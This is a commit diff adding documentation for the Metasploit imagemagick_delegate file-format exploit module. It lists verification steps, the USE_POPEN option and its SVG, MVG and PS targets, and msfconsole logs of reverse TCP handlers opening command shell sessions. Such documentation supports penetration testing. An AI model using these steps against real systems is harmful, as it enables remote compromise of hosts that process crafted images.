Add module docs for imagemagick_delegate

Author: dmohanty-r7

documentation/modules/exploit/unix/fileformat/imagemagick_delegate.md

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+## Vulnerable Application
+
+  ImageMagick
+
+## Verification Steps
+
+  Example steps in this format:
+
+  1. Install the ImageMagick
+  2. Start msfconsole
+  3. Do: ```use exploits/unix/fileformat/imagemagick_delegate```
+  4. Do: ```run```
+  5. convert msf.png msf.jpg
+
+## Options
+
+  **USE_POPEN**
+
+  When the default option `true` is used, targets 0 (SVG file) and 1 (MVG file) are valid
+  When the option is set to `false`, target 2 (PS file) is valid
+
+## Scenarios
+
+## popen=true
+  ```
+  msf exploit(imagemagick_delegate) > set target 0
+  msf exploit(imagemagick_delegate) > run
+
+  [*] Started reverse TCP handler on 1.1.1.1:4444
+  [+] msf.png stored at /Users/dmohanty/.msf4/local/msf.png
+  [*] Command shell session 1 opened (1.1.1.11:4444 -> 1.1.1.1:57212) at 2016-10-28 12:47:06 -0500
+  ```
+
+  ```
+  msf exploit(imagemagick_delegate) > set target 1
+  msf exploit(imagemagick_delegate) > run
+
+  [*] Started reverse TCP handler on 10.6.0.186:4444
+  [+] msf.png stored at /Users/dmohanty/.msf4/local/msf.png
+  [*] Command shell session 2 opened (1.1.1.1:4444 -> 1.1.1.1:64308) at 2016-10-28 15:48:40 -0500
+  ```
+
+## popen=false
+  ```
+  msf exploit(imagemagick_delegate) > set target 2
+  target => 2
+  msf exploit(imagemagick_delegate) > set USE_POPEN false
+  USE_POPEN => false
+  msf exploit(imagemagick_delegate) > run
+
+  [*] Started reverse TCP handler on 1.1.1.1:4444
+  [+] msf.png stored at /Users/dmohanty/.msf4/local/msf.png
+  [*] Command shell session 5 opened (1.1.1.1:4444 -> 1.1.1.1:64772) at 2016-10-28 15:58:03 -0500
+  ```